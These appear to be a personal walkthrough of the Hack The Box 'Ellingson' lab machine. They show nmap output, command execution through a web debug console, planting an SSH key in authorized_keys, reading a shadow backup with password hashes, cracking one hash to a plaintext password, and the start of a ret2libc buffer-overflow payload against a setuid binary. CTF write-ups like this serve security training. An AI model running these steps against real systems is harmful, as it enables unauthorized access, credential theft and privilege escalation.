Directory search to find console

İnject ssh-key

Look dir /var/backup

Sbin garbage

Bufferoverflow

ASLR enabled

GEF

Ret2lib

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)

| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)

|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)

80/tcp open http nginx 1.14.0 (Ubuntu)

|_http-server-header: nginx/1.14.0 (Ubuntu)

| http-title: Ellingson Mineral Corp

|_Requested resource was http://ellingson.htb/index

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http://ellingson.htb/index

http://ellingson.htb/articles/1

http://ellingson.htb/articles/2

http://ellingson.htb/articles/3

http://ellingson.htb/articles/4

print (os.popen('whoami').read())

[console ready]

>>> print (os.popen('whoami').read())

hal

>>> print (os.popen('pwd').read())

/

>>> print (os.popen('ls -la /home').read())

total 24

drwxr-xr-x 6 root   root   4096 Mar 9 2019 .

drwxr-xr-x 23 root   root   4096 Mar 9 2019 ..

drwxrwx--- 3 duke   duke   4096 Mar 10 2019 duke

drwxrwx--- 5 hal   hal   4096 May 7 2019 hal

drwxrwx--- 6 margo   margo   4096 Mar 10 2019 margo

drwxrwx--- 4 theplague theplague 4096 May 7 2019 theplague

root@kali:~/.ssh# cat id_rsa.pub

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC4Rq7bn7Ds3BHwtgAoM6qvnRm3zdev6oZCHwnSQmcPkZpWS2VLO+uzp86TH3/dc
ESFWxViOZ3LHLMqtnPJyhzv4T+1VLxSkpyS4isTT03EXZx3PfKF1Oq4vHRM2/R9mOUUkaJWIcrwOUt68N+dGCQZ2JnAN18Ql2fl
N/Lvl+pSw6yV+Pe8zm5yn84qm9dhxvCeq4GD7iauzFCXo/93FyJn+DnSDJ/08CFtokK6Yibim/XiCx8xyt2IxyEXNJBgLybL5CfjQwdY
17xr5z5lrT9vgh1Qs0gxN9wG4Mo5kHKt8IFJu4N7f0zq98OA2QmbIGc09nWi+iCg3ALpUpgaqVgvAJIS1cc4/4oqcBw+RR1synPjX
+toz543GHhsv7Ng3SDaZSGzl7pdUtoueBfDm9aGwHi0wvWNIeMXChFJYUFTZi9jlZ1qHfrIoG+/43tqIAnEawIvQobowe2d4RlCmJ
ef2mbR5uVq65gsGtCqBjAWbI/mfFhC6fyH017fKGf+znU= root@kali

print (os.popen('echo \"ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC4Rq7bn7Ds3BHwtgAoM6qvnRm3zdev6oZCHwnSQmcPkZpWS2VLO+uzp86TH3/dc
ESFWxViOZ3LHLMqtnPJyhzv4T+1VLxSkpyS4isTT03EXZx3PfKF1Oq4vHRM2/R9mOUUkaJWIcrwOUt68N+dGCQZ2JnAN18Ql2fl
N/Lvl+pSw6yV+Pe8zm5yn84qm9dhxvCeq4GD7iauzFCXo/93FyJn+DnSDJ/08CFtokK6Yibim/XiCx8xyt2IxyEXNJBgLybL5CfjQwdY
17xr5z5lrT9vgh1Qs0gxN9wG4Mo5kHKt8IFJu4N7f0zq98OA2QmbIGc09nWi+iCg3ALpUpgaqVgvAJIS1cc4/4oqcBw+RR1synPjX
+toz543GHhsv7Ng3SDaZSGzl7pdUtoueBfDm9aGwHi0wvWNIeMXChFJYUFTZi9jlZ1qHfrIoG+/43tqIAnEawIvQobowe2d4RlCmJ
ef2mbR5uVq65gsGtCqBjAWbI/mfFhC6fyH017fKGf+znU= root@kali\" > /home/hal/.ssh/authorized_keys').read())

root@kali:~/.ssh# ssh -i id_rsa hal@ellingson.htb

SHELL GAINED!!!!!!!

hal@ellingson:/var/backups$ cat shadow.bak

root:*:17737:0:99999:7:::

daemon:*:17737:0:99999:7:::

bin:*:17737:0:99999:7:::

sys:*:17737:0:99999:7:::

sync:*:17737:0:99999:7:::

games:*:17737:0:99999:7:::

man:*:17737:0:99999:7:::

lp:*:17737:0:99999:7:::

mail:*:17737:0:99999:7:::

news:*:17737:0:99999:7:::

uucp:*:17737:0:99999:7:::

proxy:*:17737:0:99999:7:::

www-data:*:17737:0:99999:7:::

backup:*:17737:0:99999:7:::

list:*:17737:0:99999:7:::

irc:*:17737:0:99999:7:::

gnats:*:17737:0:99999:7:::

nobody:*:17737:0:99999:7:::

systemd-network:*:17737:0:99999:7:::

systemd-resolve:*:17737:0:99999:7:::

syslog:*:17737:0:99999:7:::

messagebus:*:17737:0:99999:7:::

_apt:*:17737:0:99999:7:::

lxd:*:17737:0:99999:7:::

uuidd:*:17737:0:99999:7:::

dnsmasq:*:17737:0:99999:7:::

landscape:*:17737:0:99999:7:::

pollinate:*:17737:0:99999:7:::

sshd:*:17737:0:99999:7:::

theplague:6.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::

hal:6UYTy.cHj$qGyl.fQ1PlXPlll4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::

margo:6Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::

duke:6bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

root@kali:/home/kali/Desktop/htb/ellingson# grep -i god /usr/share/wordlists/rockyou.txt > list.txt

root@kali:/home/kali/Desktop/htb/ellingson# cat margo.hash

margo:6Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::

root@kali:/home/kali/Desktop/htb/ellingson# john --wordlist=./list.txt margo.hash

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) 6 [SHA512 128/128 AVX 2x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

iamgod$08 (margo)

root@kali:~/.ssh# ssh margo@ellingson.htb

margo@ellingson:~$ find / -perm -4000 2>/dev/null

/usr/bin/garbage

scp margo@ellingson.htb:/usr/bin/garbage ./

root@kali:/home/kali/Desktop/htb/ellingson# file garbage

garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

root@kali:/home/kali/Desktop/htb/ellingson# checksec ./garbage

[*] '/home/kali/Desktop/htb/ellingson/garbage'

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space

2

ASLR ENABLED

I downloaded libc from the box:

margo@ellingson:~$ ldd /usr/bin/garbage

linux-vdso.so.1 (0x00007ffdd2dfc000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc311a7c000)

/lib64/ld-linux-x86-64.so.2 (0x00007fc311e6d000)

To defeat ASLR our first rop chain will leak __libc_start_main by calling puts() with __libc_start_main@plt address as an argument. Then by subtracting __libc_start_main@@GLIBC address from the leaked address we will get the base address

of libc.
After leaking libc‘s address we can easily calculate the addresses we need and do our second chain which will perform the ret2libc attack.

root@kali:/home/kali/Desktop/htb/ellingson# gdb -q garbage

LOAD GEF

(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-master').read()); gdb.execute('source %s' % g.name)

gef➤ pattern create

[+] Generating a pattern of 1024 bytes

Aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaana
aaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaa
aaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaa
aaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaa
aaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaa
acqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaad
eaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadr
aaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaef
aaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesa
aaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf

0x00007fff6f142008|+0x0000: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]" ← $rsp

gef➤ pattern offset raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa

[+] Searching 'raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa'

[+] Found at offset 136 (big-endian search)

```
payload = "A" * 136
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)
```